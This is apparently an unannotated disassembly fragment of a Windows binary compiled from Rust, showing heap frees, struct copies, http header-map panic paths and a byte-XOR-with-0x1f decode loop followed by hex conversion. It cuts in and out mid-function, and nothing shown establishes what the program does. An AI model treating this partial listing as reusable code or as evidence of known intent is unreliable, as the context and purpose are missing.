je 0x140083ddb
mov rcx, r15
call rax
cmp qword [rbx + 8], 0
je 0x140083dff
cmp qword [rbx + 0x10], 0x11
jb 0x140083ded
mov r15, qword [r15 - 8]
mov rcx, qword [0x14043f190]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
cmp byte [rsp + 0xe60], 0xa
jb 0x140083e2b
cmp qword [rsp + 0xe70], 0
je 0x140083e2b
mov r8, qword [rsp + 0xe68]
mov rcx, qword [0x14043f190]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0xdf8], 0
je 0x140083e4d
mov r8, qword [rsp + 0xe00]
mov rcx, qword [0x14043f190]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, rsi
call fcn.140041ec0
cmp qword [rsp + 0xd70], 0
je 0x140083e68
mov rcx, rdi
call fcn.140147740
mov qword [rsp + 0xd70], 2
mov qword [rsp + 0xd78], r14
movabs r14, 0x8000000000000000
lea rcx, [rsp + 0x3d0]
lea rdx, [rsp + 0xd70]
mov r8d, 0x150
call sub.VCRUNTIME140.dll_memcpy
cmp qword [rsp + 0x118], 0
je 0x140083ec3
mov r8, qword [rsp + 0x120]
mov rcx, qword [0x14043f190]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp dword [rsp + 0x3d0], 2
jne 0x140083efa
lea rcx, [rsp + 0x140]
lea rdx, [rsp + 0x3d0]
mov r8d, 0x150
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x2b0]
call fcn.1401665c0
jmp 0x1400843c3
mov rax, qword [rsp + 0x2f0]
test rax, rax
je 0x140084030
mov r13, qword [rsp + 0x2e8]
lea rbp, [r13 + 0x40]
imul rsi, rax, 0x110
xor r12d, r12d
lea r14, [rsp + 0x140]
jmp 0x140083f8c
add r13, 0x110
mov rax, qword [rsp + 0x2d0]
lea rcx, [r15 + r15*2]
mov rdx, qword [rsp + 0x150]
mov qword [rax + rcx*8 + 0x10], rdx
movups xmm0, xmmword [rsp + 0x140]
movups xmmword [rax + rcx*8], xmm0
inc r15
mov qword [rsp + 0x2d8], r15
mov r15, qword [rsp + 0x2c0]
add r12, rbx
add r12, rdi
add r12, r15
add r12, 0xa
add rbp, 0x110
add rsi, 0xfffffffffffffef0
je 0x140083fff
cmp qword [rbp - 0x28], 0
je 0x140083fa0
lea rax, [r13 + 0x30]
jmp 0x140083faf
cmp qword [rbp - 0x10], 0
je 0x1400841a5
lea rax, [rbp - 8]
mov rbx, qword [rax]
mov r8, qword [rbp - 0x38]
mov r9, qword [rbp - 0x30]
movzx edx, byte [rsp + 0x2f8]
mov qword [rsp + 0x20], rbp
mov rcx, r14
call fcn.140170880
mov rdi, qword [rsp + 0x150]
mov r15, qword [rsp + 0x2d8]
cmp r15, qword [rsp + 0x2c8]
jne 0x140083f30
lea rcx, [rsp + 0x2c8]
call fcn.140019be0
jmp 0x140083f30
mov rax, qword [rsp + 0x2f0]
add r15, 6
test rax, rax
cmove r15, rax
add r15, r12
mov rbp, qword [rsp + 0x50]
mov r13, qword [rsp + 0x48]
mov r12, qword [rsp + 0x38]
movabs r14, 0x8000000000000000
jmp 0x140084033
xor r15d, r15d
movaps xmm0, xmmword [rsp + 0x2f0]
movaps xmmword [rsp + 0x180], xmm0
movaps xmm0, xmmword [rsp + 0x2b0]
movaps xmm1, xmmword [rsp + 0x2c0]
movaps xmm2, xmmword [rsp + 0x2d0]
movaps xmm3, xmmword [rsp + 0x2e0]
movaps xmmword [rsp + 0x170], xmm3
movaps xmmword [rsp + 0x160], xmm2
movaps xmmword [rsp + 0x150], xmm1
movaps xmmword [rsp + 0x140], xmm0
mov qword [rsp + 0x190], 0
lea rcx, [rsp + 0x140]
call fcn.1401667d0
movaps xmm0, xmmword [rsp + 0x190]
movaps xmmword [rsp + 0xe0], xmm0
movaps xmm0, xmmword [rsp + 0x180]
movaps xmmword [rsp + 0xd0], xmm0
movaps xmm0, xmmword [rsp + 0x140]
movaps xmm1, xmmword [rsp + 0x150]
movaps xmm2, xmmword [rsp + 0x160]
movaps xmm3, xmmword [rsp + 0x170]
movaps xmmword [rsp + 0xc0], xmm3
movaps xmmword [rsp + 0xb0], xmm2
movaps xmmword [rsp + 0xa0], xmm1
movaps xmmword [rsp + 0x90], xmm0
movzx eax, byte [0x14043f240]
mov edx, 0x60
xor ecx, ecx
call fcn.1401d3670
test rax, rax
je 0x14008460f
mov rdi, rax
movaps xmm0, xmmword [rsp + 0xe0]
movups xmmword [rax + 0x50], xmm0
movaps xmm0, xmmword [rsp + 0xd0]
movups xmmword [rax + 0x40], xmm0
movaps xmm0, xmmword [rsp + 0x90]
movaps xmm1, xmmword [rsp + 0xa0]
movaps xmm2, xmmword [rsp + 0xb0]
movaps xmm3, xmmword [rsp + 0xc0]
movups xmmword [rax + 0x30], xmm3
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
mov rax, qword [rsp + 0x4e0]
cmp rax, 2
je 0x140084371
test rax, rax
je 0x140084330
mov rax, qword [rsp + 0x4e8]
mov rdx, qword [rsp + 0x4f0]
mov r8, qword [rsp + 0x4f8]
lea rcx, [rsp + 0x500]
call qword [rax + 0x20]
jmp 0x140084371
movaps xmm0, xmmword [rsp + 0x2f0]
movaps xmmword [rsp + 0x180], xmm0
movaps xmm0, xmmword [rsp + 0x2b0]
movaps xmm1, xmmword [rsp + 0x2c0]
movaps xmm2, xmmword [rsp + 0x2d0]
movaps xmm3, xmmword [rsp + 0x2e0]
movaps xmmword [rsp + 0x170], xmm3
movaps xmmword [rsp + 0x160], xmm2
movaps xmmword [rsp + 0x150], xmm1
movaps xmmword [rsp + 0x140], xmm0
mov qword [rsp + 0x190], 0
lea rcx, [rsp + 0x140]
call fcn.1401667d0
movaps xmm0, xmmword [rsp + 0x190]
movaps xmmword [rsp + 0xe0], xmm0
movaps xmm0, xmmword [rsp + 0x180]
movaps xmmword [rsp + 0xd0], xmm0
movaps xmm0, xmmword [rsp + 0x140]
movaps xmm1, xmmword [rsp + 0x150]
movaps xmm2, xmmword [rsp + 0x160]
movaps xmm3, xmmword [rsp + 0x170]
movaps xmmword [rsp + 0xc0], xmm3
movaps xmmword [rsp + 0xb0], xmm2
movaps xmmword [rsp + 0xa0], xmm1
movaps xmmword [rsp + 0x90], xmm0
movzx eax, byte [0x14043f240]
mov edx, 0x60
xor ecx, ecx
call fcn.1401d3670
test rax, rax
je 0x14008460f
mov rdi, rax
movaps xmm0, xmmword [rsp + 0xe0]
movups xmmword [rax + 0x50], xmm0
movaps xmm0, xmmword [rsp + 0xd0]
movups xmmword [rax + 0x40], xmm0
movaps xmm0, xmmword [rsp + 0x90]
movaps xmm1, xmmword [rsp + 0xa0]
movaps xmm2, xmmword [rsp + 0xb0]
movaps xmm3, xmmword [rsp + 0xc0]
movups xmmword [rax + 0x30], xmm3
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
mov rax, qword [rsp + 0x4e0]
cmp rax, 2
mov rbp, qword [rsp + 0x50]
mov r13, qword [rsp + 0x48]
mov r12, qword [rsp + 0x38]
movabs r14, 0x8000000000000000
je 0x1400844e9
test rax, rax
je 0x1400844a8
mov rax, qword [rsp + 0x4e8]
mov rdx, qword [rsp + 0x4f0]
mov r8, qword [rsp + 0x4f8]
lea rcx, [rsp + 0x500]
call qword [rax + 0x20]
jmp 0x1400844e9
mov rsi, qword [rsp + 0x4e8]
mov rbx, qword [rsp + 0x4f0]
mov rax, qword [rbx]
test rax, rax
je 0x14008434d
mov rcx, rsi
call rax
cmp qword [rbx + 8], 0
je 0x140084371
cmp qword [rbx + 0x10], 0x11
jb 0x14008435f
mov rsi, qword [rsi - 8]
mov rcx, qword [0x14043f190]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsp + 0x4e0], 0
mov qword [rsp + 0x4e8], rdi
lea rax, case.0x140132c92.291
mov qword [rsp + 0x4f0], rax
mov qword [rsp + 0x4f8], 1
mov qword [rsp + 0x500], r15
lea rcx, [rsp + 0x140]
lea rdx, [rsp + 0x3d0]
mov r8d, 0x150
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x3d0]
lea rdx, [rsp + 0x140]
call fcn.140168220
cmp dword [rsp + 0x3d0], 3
je 0x140084598
lea rsi, [rsp + 0xcb0]
lea rdx, [rsp + 0x3d0]
mov r8d, 0xc0
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rsi
call fcn.14007f110
mov rsi, qword [rsp + 0xd58]
test rsi, rsi
je 0x140084452
mov rdi, qword [rsp + 0xd60]
mov rax, qword [rdi]
test rax, rax
je 0x14008442e
mov rcx, rsi
call rax
cmp qword [rdi + 8], 0
je 0x140084452
cmp qword [rdi + 0x10], 0x11
jb 0x140084440
mov rsi, qword [rsi - 8]
mov rcx, qword [0x14043f190]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0xd68]
test rax, rax
je 0x140084472
lock dec qword [rax]
jne 0x140084472
lea rcx, [rsp + 0xd68]
call fcn.14007e7d0
mov rax, qword [rsp + 0x358]
lock dec qword [rax]
jne 0x14008448d
lea rcx, [rsp + 0x358]
call fcn.14007e7d0
mov rcx, qword [0x14043f190]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [r13], r14
jmp 0x140086fae
mov rsi, qword [rsp + 0x4e8]
mov rbx, qword [rsp + 0x4f0]
mov rax, qword [rbx]
test rax, rax
je 0x1400844c5
mov rcx, rsi
call rax
cmp qword [rbx + 8], 0
je 0x1400844e9
cmp qword [rbx + 0x10], 0x11
jb 0x1400844d7
mov rsi, qword [rsi - 8]
mov rcx, qword [0x14043f190]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsp + 0x4e0], 0
mov qword [rsp + 0x4e8], rdi
lea rax, case.0x140132c92.291
mov qword [rsp + 0x4f0], rax
mov qword [rsp + 0x4f8], 0
jmp 0x1400843a8
mov ecx, 8
mov edx, 0x18
call fcn.14032afb0
call fcn.140035190
call fcn.14008a2a0
mov ecx, 1
mov rdx, rsi
call fcn.14032afb0
mov ecx, 1
mov rdx, qword [rsp + 0x110]
call fcn.14032afb0
mov ecx, 1
mov edx, 0x18
call fcn.14032afb0
mov qword [rsp + 0x3d0], rdi
lea rax, [0x14035acf0]
mov qword [rsp + 0x20], rax
lea rcx, [0x14040289e]
lea r9, [0x14035ab20]
lea r8, [rsp + 0x3d0]
mov edx, 0x2b
call fcn.14032b930
mov rax, qword [rsp + 0x3d8]
mov qword [rsp + 0xd70], rax
lea rax, [0x14035ad08]
mov qword [rsp + 0x20], rax
lea rcx, [0x14040289e]
lea r9, [0x14035ab20]
lea r8, [rsp + 0xd70]
mov edx, 0x2b
call fcn.14032b930
xor ecx, ecx
mov rdx, rdi
call fcn.14032afb0
xor ecx, ecx
mov rdx, r15
call fcn.14032afb0
mov ecx, 1
mov rdx, rdi
call fcn.14032afb0
mov ecx, 1
mov rdx, r15
call fcn.14032afb0
mov ecx, 1
mov rdx, r13
call fcn.14032afb0
mov ecx, 8
mov edx, 0x60
call fcn.14032afd0
mov ecx, 1
mov edx, 2
call fcn.14032afd0
movzx edx, byte [r15 + rcx]
xor dl, 0x1f
mov byte [rsp + rcx + 0x140], dl
inc rcx
cmp rax, rcx
jne 0x14008462d
lea rax, [rsi + rsi*2]
inc rax
mov qword [rsp + 0x3a8], rax
and byte [rsp + 0x108], r14b
xor esi, esi
lea rcx, [rsp + 0x3d0]
mov r8d, 0x800
xor edx, edx
call sub.VCRUNTIME140.dll_memset
lea rax, [0x1403da3c8]
nop dword [rax]
movzx ecx, byte [rsp + rsi + 0x140]
mov edx, ecx
and edx, 0xf
shr ecx, 4
movzx ecx, byte [rcx + rax]
movzx edx, byte [rdx + rax]
mov dword [rsp + rsi*8 + 0x3d0], ecx
mov dword [rsp + rsi*8 + 0x3d4], edx
inc rsi
cmp rsi, 0x100
jne 0x140084680
lea rcx, [rsp + 0xd70]
lea rdx, [rsp + 0x3d0]
mov r8d, 0x800
call sub.VCRUNTIME140.dll_memcpy
lea rbx, [rbp*2 + 2]
cmp rbx, 0x201
jae 0x140087209
mov qword [rsp + 0x3d0], 0
mov qword [rsp + 0x3d8], 1
mov qword [rsp + 0x3e0], 0
test rbx, rbx
jne 0x140085362
mov eax, 1
mov qword [rsp + 0x100], rax
xor eax, eax
mov qword [rsp + 0x308], rax
xor esi, esi
mov qword [rsp + 0xf8], r15
xor r15d, r15d
lea r14, [rsp + 0x3d0]
mov rcx, r14
int1
mov rcx, qword [0x14043f190]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movabs rax, 0x8000000000000000
mov qword [r13], rax
cmp qword [rsp + 0x290], 0
je 0x140086fae
mov r8, qword [rsp + 0x298]
mov rcx, qword [0x14043f190]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp], 0
je 0x140086fc8
mov r8, qword [rbp + 8]
mov rcx, qword [0x14043f190]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x1570]
movaps xmm7, xmmword [rsp + 0x1580]
add rsp, 0x1598
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov qword [rsp + 0x20], rax
lea rcx, str.size_overflows_MAX_SIZE
lea r9, [0x1403d2488]
lea r8, [rsp + 0x37]
mov edx, 0x17
call fcn.14032b930
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, rax
mov rdx, rdi
call fcn.14032b570
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, rdx
mov rdx, rdi
call fcn.14032b570
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, r12
mov rdx, rdi
call fcn.14032b570
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, rax
mov rdx, rdi
call fcn.14032b570
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, rdi
call fcn.14032b570
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
call fcn.14032ba30
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, rdx
mov rdx, r11
call fcn.14032b570
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, rax
mov rdx, rdi
call fcn.14032b570
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
call fcn.14032ba30
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, rax
mov rdx, r11
call fcn.14032b570
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, rdx
mov rdx, rdi
call fcn.14032b570
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
call fcn.14032ba30
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
call fcn.14032ba30
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, r12
call fcn.14032b570
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, rax
call fcn.14032b570
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, rax
mov rdx, qword [rsp + 0x38]
call fcn.14032b570
mov ecx, 2
mov edx, 0x20
call fcn.14032afb0
mov ecx, 8
mov edx, 0x270
call fcn.14032afb0
mov rbx, rcx
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, rbx
mov rdx, rdi
call fcn.14032b570
int3